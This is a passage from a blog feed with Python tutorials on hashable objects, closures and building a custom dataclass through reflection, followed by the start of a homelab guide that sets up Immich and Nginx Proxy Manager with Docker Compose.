<p>Python descriptors are a powerful tool for building reusable and maintainable code. They might seem a bit intimidating at first, but once you understand the basics, you'll be able to write more elegant and efficient Python code. So, go forth and embrace the descriptor! And remember, don't let the LinkedIn influencers tell you what to do. Think for yourself, write good code, and stay slightly unhinged. You'll go far.</p>
]]></content:encoded></item><item><title><![CDATA[Python Hashable Objects: Implementing __hash__ and __eq__ for Custom Object Comparison]]></title><description><![CDATA[This blog is generated as a usecase of this other blog(Automating blog creation with own agent vs mcp) that helped me automate the writing of this blog.

Alright, buckle up buttercups. Today we're diving into the murky, sometimes terrifying, world of...]]></description><link>https://blog.buddhag.com.np/the-hash-dunder-python</link><guid isPermaLink="true">https://blog.buddhag.com.np/the-hash-dunder-python</guid><category><![CDATA[Backend Engineering]]></category><category><![CDATA[data structures]]></category><category><![CDATA[#DataClasses ]]></category><category><![CDATA[dictionaries]]></category><category><![CDATA[EQ]]></category><category><![CDATA[Hash]]></category><category><![CDATA[Hashing]]></category><category><![CDATA[Python]]></category><category><![CDATA[Python Internals]]></category><category><![CDATA[Sets]]></category><dc:creator><![CDATA[buddha gautam]]></dc:creator><pubDate>Sat, 07 Jun 2025 06:01:48 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This blog is generated as a usecase of this other blog(<a target="_blank" href="https://blog.buddhag.com.np/automating-blog-creation-mcp-vs-creating-own-agent">Automating blog creation with own agent vs mcp</a>) that helped me automate the writing of this blog.</p>
</blockquote>
<p>Alright, buckle up buttercups. Today we're diving into the murky, sometimes terrifying, world of hashable objects in Python. Forget those LinkedIn influencers droning on about "synergy" and "disruption." We're talking about the <em>actual</em> nuts and bolts of making your Python code not just <em>work</em>, but work <em>efficiently</em> and <em>predictably</em>. And yes, I'm going to make fun of something along the way. Probably many things.</p>
<h2 id="heading-what-in-the-holy-guido-is-a-hashable-object">What in the Holy Guido is a Hashable Object?</h2>
<p>Simply put, a hashable object is one that has a hash value that <em>never changes</em> during its lifetime. This hash value is an integer, and it's used by Python to quickly look up objects in dictionaries and sets. Think of it like a social security number for your data. Once assigned, it's (supposed to be) permanent.</p>
<p>More formally, an object is hashable if it has:</p>
<ul>
<li><p>A <code>__hash__()</code> method which returns an integer.</p>
</li>
<li><p>An <code>__eq__()</code> method to compare it to other objects for equality.</p>
</li>
</ul>
<p>The crucial point? If two objects are equal (i.e., <code>a == b</code> is <code>True</code>), then their hash values <em>must</em> be the same (i.e., <code>hash(a) == hash(b)</code>). Conversely, if their hash values are different, they <em>should</em> be unequal. (Collisions happen, but minimizing them is the goal.)</p>
<h2 id="heading-typeerror-unhashable-type-list-a-tale-of-woe">"TypeError: unhashable type: 'list'" - A Tale of Woe</h2>
<p>Ever seen this error? It usually pops up when you try to use a list as a key in a dictionary or as an element in a set. Let's see it in action:</p>
<pre><code class="lang-python">my_list = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>]
<span class="hljs-keyword">try</span>:
    my_dict = {my_list: <span class="hljs-string">"value"</span>}
<span class="hljs-keyword">except</span> TypeError <span class="hljs-keyword">as</span> e:
    print(<span class="hljs-string">f"Caught the expected error: <span class="hljs-subst">{e}</span>"</span>)

<span class="hljs-keyword">try</span>:
    my_set = {my_list}
<span class="hljs-keyword">except</span> TypeError <span class="hljs-keyword">as</span> e:
    print(<span class="hljs-string">f"Caught the expected error: <span class="hljs-subst">{e}</span>"</span>)
</code></pre>
<p>Why does this happen? Because lists are <em>mutable</em>. You can change them after they're created. If you could use a list as a dictionary key, and then change the list, the dictionary would no longer be able to find the value associated with that key. Chaos would reign. Dogs and cats living together! Mass hysteria!</p>
<h2 id="heading-the-eq-connection-theyre-married-deal-with-it">The <code>__eq__</code> Connection: They're Married, Deal With It</h2>
<p>The <code>__hash__()</code> and <code>__eq__()</code> methods are inextricably linked. If you define <code>__eq__()</code> for your custom class, you <em>must</em> also define <code>__hash__()</code>. And, as I mentioned earlier, if two objects are equal according to <code>__eq__()</code>, their hash values <em>must</em> be the same.</p>
<p>If you define <code>__eq__</code> but <em>not</em> <code>__hash__</code>, Python will implicitly set <code>__hash__ = None</code>, and your object will be unhashable. This is a safety mechanism to prevent you from accidentally breaking the hash table invariants. Python is looking out for you, even if it feels like a passive-aggressive intervention.</p>
<h2 id="heading-leveraging-hashability-dictionaries-and-sets-baby">Leveraging Hashability: Dictionaries and Sets, Baby!</h2>
<p>The primary benefit of hashable objects is their ability to be used as keys in dictionaries and elements in sets. These data structures rely on hashing for fast lookups and membership tests. If you're doing a lot of searching or checking for duplicates, using dictionaries or sets with hashable objects can dramatically improve your code's performance.</p>
<p>Consider this highly contrived example:</p>
<pre><code class="lang-python"><span class="hljs-comment"># A list of names</span>
names = [<span class="hljs-string">"Alice"</span>, <span class="hljs-string">"Bob"</span>, <span class="hljs-string">"Charlie"</span>, <span class="hljs-string">"Alice"</span>, <span class="hljs-string">"David"</span>, <span class="hljs-string">"Bob"</span>]

<span class="hljs-comment"># Using a set to find unique names (efficiently!)</span>
unique_names = set(names)
print(<span class="hljs-string">f"Unique names: <span class="hljs-subst">{unique_names}</span>"</span>)

<span class="hljs-comment"># Checking if a name is in the set (also efficient!)</span>
<span class="hljs-keyword">if</span> <span class="hljs-string">"Alice"</span> <span class="hljs-keyword">in</span> unique_names:
    print(<span class="hljs-string">"Alice is unique-ish."</span>)
</code></pre>
<p>The <code>set()</code> constructor automatically removes duplicates because it relies on hashing. And checking for membership in a set (using the <code>in</code> operator) is much faster than iterating through a list.</p>
<h2 id="heading-mutability-and-hashability-a-thorny-relationship">Mutability and Hashability: A Thorny Relationship</h2>
<p>Generally, mutable objects (like lists and dictionaries) are <em>not</em> hashable, while immutable objects (like tuples, strings, and numbers) <em>are</em> hashable. This is because the hash value of an object must remain constant throughout its lifetime. If you could change a mutable object after it's been used as a dictionary key, the dictionary would become corrupted.</p>
<p>However, there are exceptions! You <em>can</em> create custom mutable objects that are hashable, but you need to be very careful. The key is to ensure that the hash value is based on attributes that <em>never change</em> after the object is created. This is tricky, and I generally advise against it unless you have a very good reason.</p>
<h2 id="heading-dataclasses-to-the-rescue-sometimes"><code>dataclasses</code> to the Rescue (Sometimes)</h2>
<p>Python's <code>dataclasses</code> module can automatically generate <code>__hash__()</code> and <code>__eq__()</code> methods for you, based on the fields you define in your data class. By default, a dataclass is hashable if all of its fields are hashable. You can also explicitly specify that a dataclass should be frozen (immutable) using the <code>@dataclass(frozen=True)</code> decorator.</p>
<p>Here's an example:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> dataclasses <span class="hljs-keyword">import</span> dataclass

<span class="hljs-meta">@dataclass(frozen=True)</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Point</span>:</span>
    x: int
    y: int

p1 = Point(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>)
p2 = Point(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>)

print(<span class="hljs-string">f"p1 == p2: <span class="hljs-subst">{p1 == p2}</span>"</span>)
print(<span class="hljs-string">f"hash(p1) == hash(p2): <span class="hljs-subst">{hash(p1) == hash(p2)}</span>"</span>)

my_dict = {p1: <span class="hljs-string">"origin"</span>} <span class="hljs-comment"># This now works!</span>
</code></pre>
<p>By setting <code>frozen=True</code>, we've made the <code>Point</code> class immutable and hashable. This is a great way to create simple, data-centric classes that can be used as dictionary keys or set elements.</p>
<h2 id="heading-conclusion-embrace-the-hash-fear-the-mutability">Conclusion: Embrace the Hash, Fear the Mutability</h2>
<p>Hashable objects are fundamental to Python's data structures and performance. Understanding the relationship between <code>__hash__()</code>, <code>__eq__()</code>, and mutability is crucial for writing robust and efficient code.</p>
<p>So, go forth and hash! But remember, with great power comes great responsibility (and the potential for really weird bugs if you screw it up). And for the love of all that is holy, stop listening to those LinkedIn influencers. They're probably just trying to sell you something. Now, if you'll excuse me, I need to go yell at a cloud.</p>
]]></content:encoded></item><item><title><![CDATA[Python Closures: More Than Just Nested Functions.]]></title><description><![CDATA[This blog is generated as a usecase of this other blog(Automating blog creation with own agent vs mcp) that helped me automate the writing of this blog.

Alright, buckle up buttercups. Today we're diving into Python closures. Not the LinkedIn-influen...]]></description><link>https://blog.buddhag.com.np/python-closures</link><guid isPermaLink="true">https://blog.buddhag.com.np/python-closures</guid><category><![CDATA[Back end Engineering]]></category><category><![CDATA[Closures]]></category><category><![CDATA[decorators]]></category><category><![CDATA[Lexical Scoping]]></category><category><![CDATA[Python]]></category><category><![CDATA[Python Internals]]></category><dc:creator><![CDATA[buddha gautam]]></dc:creator><pubDate>Sat, 07 Jun 2025 05:47:15 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This blog is generated as a usecase of this other blog(<a target="_blank" href="https://blog.buddhag.com.np/automating-blog-creation-mcp-vs-creating-own-agent">Automating blog creation with own agent vs mcp</a>) that helped me automate the writing of this blog.</p>
</blockquote>
<p>Alright, buckle up buttercups. Today we're diving into Python closures. Not the LinkedIn-influencer-approved "OMG closures are so elegant" kind. We're talking about the <em>real</em> closures, the ones that can bite you in the ass if you're not paying attention. Think of this as the anti-bullshit guide to closures. Because let's be honest, half the "Python experts" out there just parrot the same definition without actually understanding the underlying mechanisms. Let's fix that.</p>
<p><strong>Tags:</strong> Python, Closures, Decorators, Lexical Scoping, Python Internals, Back end Engineering</p>
<h2 id="heading-what-the-hell-is-a-closure-anyway">What the Hell <em>Is</em> a Closure Anyway?</h2>
<p>Okay, so the textbook definition goes something like this: A closure is a function object that remembers values in enclosing scopes even if they are not present in memory. Sounds like consultant speak, right? Let's break it down.</p>
<p>Essentially, a closure is a function bundled together with its surrounding state (its <em>lexical environment</em>). This environment consists of any free variables (variables used but not defined within the function itself) that were in scope when the closure was created.</p>
<p>Think of it like this: you're packing a lunchbox. The lunchbox is your function. The sandwich, apple, and juice box are the variables from the surrounding scope. Even after you leave the kitchen (the original scope), your lunchbox (the function) still has access to the sandwich, apple, and juice box. Got it? Good.</p>
<h2 id="heading-scoping-the-foundation-of-all-evil-and-closures">Scoping: The Foundation of All Evil (and Closures)</h2>
<p>Before we go any further, let's revisit scoping in Python. Python uses <em>lexical scoping</em>, also known as <em>static scoping</em>. This means that a variable's scope is determined by its position in the source code.</p>
<p>We have four main types of scopes:</p>
<ul>
<li><p><strong>Local:</strong> Inside a function.</p>
</li>
<li><p><strong>Enclosing:</strong> In the scope of an enclosing function (where closures come into play!).</p>
</li>
<li><p><strong>Global:</strong> At the top level of a module.</p>
</li>
<li><p><strong>Built-in:</strong> Predefined names in Python (like <code>print</code>, <code>len</code>, etc.).</p>
</li>
</ul>
<p>Python follows the LEGB rule: Local -&gt; Enclosing -&gt; Global -&gt; Built-in. When you try to access a variable, Python searches these scopes in that order until it finds the variable.</p>
<pre><code class="lang-python">x = <span class="hljs-number">10</span> <span class="hljs-comment"># Global scope</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">outer_function</span>():</span>
    y = <span class="hljs-number">20</span> <span class="hljs-comment"># Enclosing scope</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">inner_function</span>():</span>
        z = <span class="hljs-number">30</span> <span class="hljs-comment"># Local scope</span>
        print(x, y, z) <span class="hljs-comment"># Accessing variables from all scopes</span>

    inner_function()

outer_function() <span class="hljs-comment"># Output: 10 20 30</span>
</code></pre>
<p>In the above example, <code>inner_function</code> has access to <code>x</code> (global), <code>y</code> (enclosing), and <code>z</code> (local). This is the foundation for closures.</p>
<h2 id="heading-closures-in-action-lets-get-practical">Closures in Action: Let's Get Practical</h2>
<p>Here's where the magic happens. Let's create a function that returns another function, capturing a variable from its enclosing scope:</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">multiplier</span>(<span class="hljs-params">n</span>):</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">inner</span>(<span class="hljs-params">x</span>):</span>
        <span class="hljs-keyword">return</span> x * n
    <span class="hljs-keyword">return</span> inner

double = multiplier(<span class="hljs-number">2</span>)
triple = multiplier(<span class="hljs-number">3</span>)

print(double(<span class="hljs-number">5</span>)) <span class="hljs-comment"># Output: 10</span>
print(triple(<span class="hljs-number">5</span>)) <span class="hljs-comment"># Output: 15</span>
</code></pre>
<p>See what's happening? The <code>multiplier</code> function returns the <code>inner</code> function. Critically, <code>inner</code> "remembers" the value of <code>n</code> from the <code>multiplier</code> function's scope, even after <code>multiplier</code> has finished executing. That's a closure, baby! <code>double</code> and <code>triple</code> are closures, each with their own captured value of <code>n</code>.</p>
<h2 id="heading-closures-and-decorators-a-match-made-in-python-heaven-or-hell-depending-on-your-debugging-skills">Closures and Decorators: A Match Made in Python Heaven (or Hell, Depending on Your Debugging Skills)</h2>
<p>Closures are the backbone of Python decorators. Decorators are syntactic sugar for wrapping functions with other functions. Let's see how:</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">my_decorator</span>(<span class="hljs-params">func</span>):</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">wrapper</span>():</span>
        print(<span class="hljs-string">"Before calling the function."</span>)
        func()
        print(<span class="hljs-string">"After calling the function."</span>)
    <span class="hljs-keyword">return</span> wrapper

<span class="hljs-meta">@my_decorator</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">say_hello</span>():</span>
    print(<span class="hljs-string">"Hello!"</span>)

say_hello()
<span class="hljs-comment"># Output:</span>
<span class="hljs-comment"># Before calling the function.</span>
<span class="hljs-comment"># Hello!</span>
<span class="hljs-comment"># After calling the function.</span>
</code></pre>
<p>Under the hood, the <code>@my_decorator</code> syntax is equivalent to:</p>
<pre><code class="lang-python">say_hello = my_decorator(say_hello)
</code></pre>
<p><code>my_decorator</code> returns the <code>wrapper</code> function, which is a closure that has access to the original <code>func</code>. This allows you to add functionality to a function without modifying its original code. Pretty neat, huh?</p>
<h2 id="heading-the-closure-trap-beware-the-late-binding">The Closure Trap: Beware the Late Binding!</h2>
<p>This is where things get tricky. Let's say you want to create a list of functions, each multiplying by a different number:</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">create_multipliers</span>():</span>
    multipliers = []
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">5</span>):
        multipliers.append(<span class="hljs-keyword">lambda</span> x: x * i)
    <span class="hljs-keyword">return</span> multipliers

multipliers = create_multipliers()

<span class="hljs-keyword">for</span> multiplier <span class="hljs-keyword">in</span> multipliers:
    print(multiplier(<span class="hljs-number">2</span>))
</code></pre>
<p>What do you expect the output to be? 0, 2, 4, 6, 8? Nope! You'll get 8, 8, 8, 8, 8. Why? Because the <code>lambda</code> functions are closures that capture the <em>variable</em> <code>i</code>, not its <em>value</em> at the time of creation. By the time you call the functions, the loop has finished, and <code>i</code> is equal to 4.</p>
<p>This is the <em>late binding</em> or <em>closure trap</em>. To fix it, you need to force the value of <code>i</code> to be bound at the time the function is created:</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">create_multipliers_fixed</span>():</span>
    multipliers = []
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">5</span>):
        multipliers.append(<span class="hljs-keyword">lambda</span> x, i=i: x * i) <span class="hljs-comment"># Bind i to the argument's default value</span>
    <span class="hljs-keyword">return</span> multipliers

multipliers = create_multipliers_fixed()

<span class="hljs-keyword">for</span> multiplier <span class="hljs-keyword">in</span> multipliers:
    print(multiplier(<span class="hljs-number">2</span>))
<span class="hljs-comment">#Output:</span>
<span class="hljs-comment">#0</span>
<span class="hljs-comment">#2</span>
<span class="hljs-comment">#4</span>
<span class="hljs-comment">#6</span>
<span class="hljs-comment">#8</span>
</code></pre>
<p>By using a default argument, we're creating a new variable <code>i</code> within the scope of each <code>lambda</code> function, effectively capturing its value at the time of creation. Boom. Problem solved.</p>
<h2 id="heading-closures-python-vs-the-world">Closures: Python vs. The World</h2>
<p>Closures are a common feature in many programming languages, but their implementation and behavior can vary. In languages like JavaScript, closures are ubiquitous and often used for event handling and asynchronous programming. In languages like C++, closures are often implemented using lambda expressions and function objects.</p>
<p>Python's closures are relatively straightforward, but the late binding issue can be a source of confusion for beginners. Understanding how closures work under the hood is crucial for writing correct and efficient Python code.</p>
<h2 id="heading-conclusion-closures-are-your-friends-mostly">Conclusion: Closures Are Your Friends (Mostly)</h2>
<p>Closures are a powerful tool in Python, enabling you to create flexible and reusable code. They're essential for understanding decorators and other advanced Python concepts. Just remember to watch out for the late binding trap, and you'll be golden.</p>
<p>Now go forth and conquer the world with your newfound closure knowledge! And for god's sake, stop reading LinkedIn and start writing some actual code. You'll thank me later.</p>
]]></content:encoded></item><item><title><![CDATA[Python reflection: Build a Custom dataclass from Scratch]]></title><description><![CDATA[A simple search on YouTube will show you many videos titled "Data classes are amazing." However, this video is not about how amazing data classes are. Instead, it focuses on the power and elegance of reflection in Python and how simple type annotatio...]]></description><link>https://blog.buddhag.com.np/python-reflection-crafting-a-custom-dataclass-step-by-step</link><guid isPermaLink="true">https://blog.buddhag.com.np/python-reflection-crafting-a-custom-dataclass-step-by-step</guid><dc:creator><![CDATA[buddha gautam]]></dc:creator><pubDate>Sun, 11 Aug 2024 13:51:57 GMT</pubDate><content:encoded><![CDATA[<p>A simple search on YouTube will show you many videos titled "Data classes are amazing." However, this video is not about how amazing data classes are. Instead, it focuses on the power and elegance of reflection in Python and how simple type annotations in Python can help you create your own dataclasses.</p>
<h3 id="heading-reflection">Reflection</h3>
<p>Reflection is a powerful feature in programming that allows a program to inspect and interact with its own structure and behavior at runtime. In simpler terms, reflection allows your code to examine itself. It can look at the types, attributes, and methods of objects and classes dynamically, and even modify them.</p>
<p>Some common examples of reflection used in Python are <code>setattr</code>, <code>getattr</code>, <code>callable</code>, <code>issubclass</code>, and <code>inspect.getsource</code>.</p>
<h3 id="heading-type-annotations">Type annotations</h3>
<p>Type annotations have been part of Python for some time now. However, since Python is dynamically typed, these annotations aren't enforced by the interpreter but are used by static type checkers like <code>mypy</code> and other <code>LSPs</code>. I believe that combining these type annotations with reflection can be a powerful tool to create your data validators. In fact, Pydantic is developed based on these concepts.</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">sum</span>(<span class="hljs-params">no1: int, no2: int</span>)-&gt; int:</span>
    <span class="hljs-keyword">return</span> no1 + no2 

sum.__annotations__
<span class="hljs-comment"># Output - {'no1': int, 'no2': int, 'return': int}</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Vehicle</span>:</span>
    mileage: float
    top_speed: float
    odometer_reading: int

Vehicle.__annotations__
<span class="hljs-comment"># Output - {'mileage': float, 'top_speed': float, 'odometer_reading': int}</span>
</code></pre>
<p>The above example explains how type annotations are stored as dunder attributes in a python class.</p>
<h3 id="heading-dataclass">Dataclass</h3>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> dataclasses <span class="hljs-keyword">import</span> dataclass

<span class="hljs-meta">@dataclass</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Vehicle</span>:</span>
    mileage: float
    top_speed: float
    odometer_reading: int

vehicle = Vehicle(<span class="hljs-number">42</span>, <span class="hljs-number">120</span>, <span class="hljs-number">45000</span>)
print(vehicle.__str__())
<span class="hljs-comment"># Output: Vehicle(mileage=42, top_speed=120, odometer_reading=45000)</span>
vehicle.__dict__
<span class="hljs-comment"># Output: {'mileage': 42, 'top_speed': 120, 'odometer_reading': 45000}</span>
</code></pre>
<p>The above code shows how a <a target="_blank" href="https://docs.python.org/3/library/dataclasses.html">dataclass</a> works. We can see that various special methods are generated, and a constructor is created that takes the class annotations as parameters and initializes them as instance variables.</p>
<p>This is not a built-in Python feature; all this work is done by the dataclass decorator. Now, we will create our own minimal dataclass decorator that performs the same tasks.</p>
<h3 id="heading-implementation">Implementation</h3>
<p>Now let's see what happens when we don't use any dataclass decorator.</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> dataclasses <span class="hljs-keyword">import</span> dataclass

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Vehicle</span>:</span>
    mileage: float
    top_speed: float
    odometer_reading: int

vehicle = Vehicle(<span class="hljs-number">42</span>, <span class="hljs-number">120</span>, <span class="hljs-number">45000</span>)
<span class="hljs-comment"># Output(error): TypeError: Vehicle() takes no arguments</span>
</code></pre>
<p>Without the dataclass decorator, special methods like <strong>__init__</strong> are not implemented. Using reflection and annotations, we will create these special methods ourselves.</p>
<p>For this we will first create a decorator named <code>datakilas</code>.</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">datakilas</span>(<span class="hljs-params">cls</span>):</span>
    annotations = cls.__annotations__
    print(<span class="hljs-string">f"<span class="hljs-subst">{annotations=}</span>"</span>)
    <span class="hljs-comment"># logic to dynamically assign __init__ method into cls</span>
    <span class="hljs-keyword">return</span> cls

<span class="hljs-meta">@datakilas</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Vehicle</span>:</span>
    mileage: float
    top_speed: float

<span class="hljs-comment"># Output: annotations={'mileage': &lt;class 'float'&gt;, 'top_speed': &lt;class 'float'&gt;}</span>
</code></pre>
<p>Now that we know our next task, let's dynamically create the <strong>constructor</strong> and <strong>representational</strong> (<strong>__str__</strong>) functions for the decorated class.</p>
<pre><code class="lang-python">
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">datakilas</span>(<span class="hljs-params">cls</span>):</span>
    annotations = cls.__annotations__
    print(<span class="hljs-string">f"<span class="hljs-subst">{annotations=}</span>"</span>)

    <span class="hljs-comment"># Define the __init__ method for the class</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">init_func</span>(<span class="hljs-params">self, **kwargs</span>):</span>
        <span class="hljs-keyword">for</span> key <span class="hljs-keyword">in</span> annotations:
            setattr(self, key, kwargs.get(key, <span class="hljs-literal">None</span>))

    <span class="hljs-comment"># Define the __str__ method</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">str_func</span>(<span class="hljs-params">self</span>):</span>
        <span class="hljs-comment"># Create a string representation of the class with its attributes</span>
        attr_str = <span class="hljs-string">', '</span>.join(<span class="hljs-string">f'<span class="hljs-subst">{key}</span>=<span class="hljs-subst">{getattr(self, key)}</span>'</span> <span class="hljs-keyword">for</span> key <span class="hljs-keyword">in</span> annotations)
        <span class="hljs-keyword">return</span> <span class="hljs-string">f'<span class="hljs-subst">{cls.__name__}</span>(<span class="hljs-subst">{attr_str}</span>)'</span>

    <span class="hljs-comment"># Add the __init__ and __str__ method to the class attributes</span>
    cls.__init__ = init_func
    cls.__str__ = str_func

    <span class="hljs-keyword">return</span> cls
</code></pre>
<p>In the above program, we dynamically create the __<strong>init</strong>__ and __<strong>str__</strong> dunders using the class annotations. Now we're using the new <code>datakilas</code> decorator, we can easily create a simple dataclass.</p>
<pre><code class="lang-python"><span class="hljs-meta">@datakilas</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Vehicle</span>:</span>
    mileage: float
    top_speed: float
vehicle = Vehicle(mileage=<span class="hljs-number">15</span>, top_speed=<span class="hljs-number">200</span>)

print(vehicle)
<span class="hljs-comment"># Output: Vehicle(mileage=15, top_speed=200)</span>

print(vehicle.__dict__)
<span class="hljs-comment"># Output: {'mileage': 15, 'top_speed': 200}</span>
</code></pre>
<p>The current implementation expects keyword arguments in class constructors. To understand it better, you can update the implementation to accept non-keyword arguments as well.</p>
<h3 id="heading-conclusion">Conclusion</h3>
<p>This way, we can easily create a basic version of a complex feature like <code>dataclass</code> using Python's simple reflection abilities. Although we didn't explicitly use reflection-specific tools, we used Python's powerful language features to update a class's behavior at runtime and dynamically add constructors and other methods to it. I think this serves as a perfect example of the power of reflection in Python, showing how easy and sophisticated it is to write complex programming logic in Python.</p>
]]></content:encoded></item><item><title><![CDATA[HomeLab services - Immich and Jellyfin]]></title><description><![CDATA[In this article, we will be exploring the following services

Immich for image server

Jellyfin for media hosting


I use these two on a daily basis. You can explore other self-hosted services in https://selfh.st/
Since we have already discussed reve...]]></description><link>https://blog.buddhag.com.np/homelab-services-immich-and-jellyfin</link><guid isPermaLink="true">https://blog.buddhag.com.np/homelab-services-immich-and-jellyfin</guid><category><![CDATA[Immich]]></category><category><![CDATA[jellyfin]]></category><category><![CDATA[Homelab]]></category><dc:creator><![CDATA[buddha gautam]]></dc:creator><pubDate>Sun, 07 Jul 2024 15:58:26 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1720368205498/63b0fe0c-bea5-4617-8ca1-14756480f7e4.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In this article, we will be exploring the following services</p>
<ul>
<li><p><a target="_blank" href="https://immich.app/"><strong>Immich</strong></a> for image server</p>
</li>
<li><p><a target="_blank" href="https://jellyfin.org/"><strong>Jellyfin</strong></a> for media hosting</p>
</li>
</ul>
<p>I use these two on a daily basis. You can explore other self-hosted services in <a target="_blank" href="https://selfh.st/">https://selfh.st/</a></p>
<p>Since we have already discussed reverse proxy, setting up VPN and other topics, this blog will be quite easy to pick up because we are just adding new services.</p>
<h3 id="heading-immich">Immich</h3>
<p>Immich is an image backup service. It looks almost like a clone of Google Photos, and I feel like it's too good to be true. You basically host your own Google Photos, download a mobile app available on both Android and iOS, and now your personal computer is the cloud. You can easily back up all your photos to your computer while also being able to share these photos, create albums, group by faces, and much more.</p>
<p>To set up Immich, it's as easy as it gets. But first, let's create a docker network so the nginx and immich can remain in the same docker network</p>
<pre><code class="lang-bash">docker network create homelab_network
</code></pre>
<p>Now we use this network in both the nginx and immich.</p>
<p><strong>Nginx docker-compose.yml</strong></p>
<pre><code class="lang-yaml"><span class="hljs-attr">version:</span> <span class="hljs-string">'2.2'</span> 
<span class="hljs-attr">services:</span>
  <span class="hljs-attr">nginxproxymanager:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">'jc21/nginx-proxy-manager:latest'</span> 
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">nginxproxymanager</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">unless-stopped</span> 
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'80:80'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'81:81'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'443:443'</span> 
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./nginx/data:/data</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./nginx/letsencrypt:/etc/letsencrypt</span> 

<span class="hljs-attr">networks:</span>
  <span class="hljs-attr">default:</span>
    <span class="hljs-attr">name:</span> <span class="hljs-string">homelab_network</span>
    <span class="hljs-attr">external:</span> <span class="hljs-literal">True</span>
</code></pre>
<p><strong>Immich docker-compose.yml</strong></p>
<pre><code class="lang-yaml"><span class="hljs-attr">name:</span> <span class="hljs-string">immich</span>

<span class="hljs-attr">services:</span>
  <span class="hljs-attr">immich-server:</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">immich_server</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">ghcr.io/immich-app/immich-server:${IMMICH_VERSION:-release}</span>    
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">${UPLOAD_LOCATION}:/usr/src/app/upload</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">/etc/localtime:/etc/localtime:ro</span>
    <span class="hljs-attr">env_file:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">.env</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-number">2283</span><span class="hljs-string">:3001</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">redis</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">database</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">always</span>

  <span class="hljs-attr">immich-machine-learning:</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">immich_machine_learning</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">ghcr.io/immich-app/immich-machine-learning:${IMMICH_VERSION:-release}</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">model-cache:/cache</span>
    <span class="hljs-attr">env_file:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">.env</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">always</span>

  <span class="hljs-attr">redis:</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">immich_redis</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">docker.io/redis:6.2-alpine@sha256:d6c2911ac51b289db208767581a5d154544f2b2fe4914ea5056443f62dc6e900</span>
    <span class="hljs-attr">healthcheck:</span>
      <span class="hljs-attr">test:</span> <span class="hljs-string">redis-cli</span> <span class="hljs-string">ping</span> <span class="hljs-string">||</span> <span class="hljs-string">exit</span> <span class="hljs-number">1</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">always</span>

  <span class="hljs-attr">database:</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">immich_postgres</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">docker.io/tensorchord/pgvecto-rs:pg14-v0.2.0@sha256:90724186f0a3517cf6914295b5ab410db9ce23190a2d9d0b9dd6463e3fa298f0</span>
    <span class="hljs-attr">environment:</span>
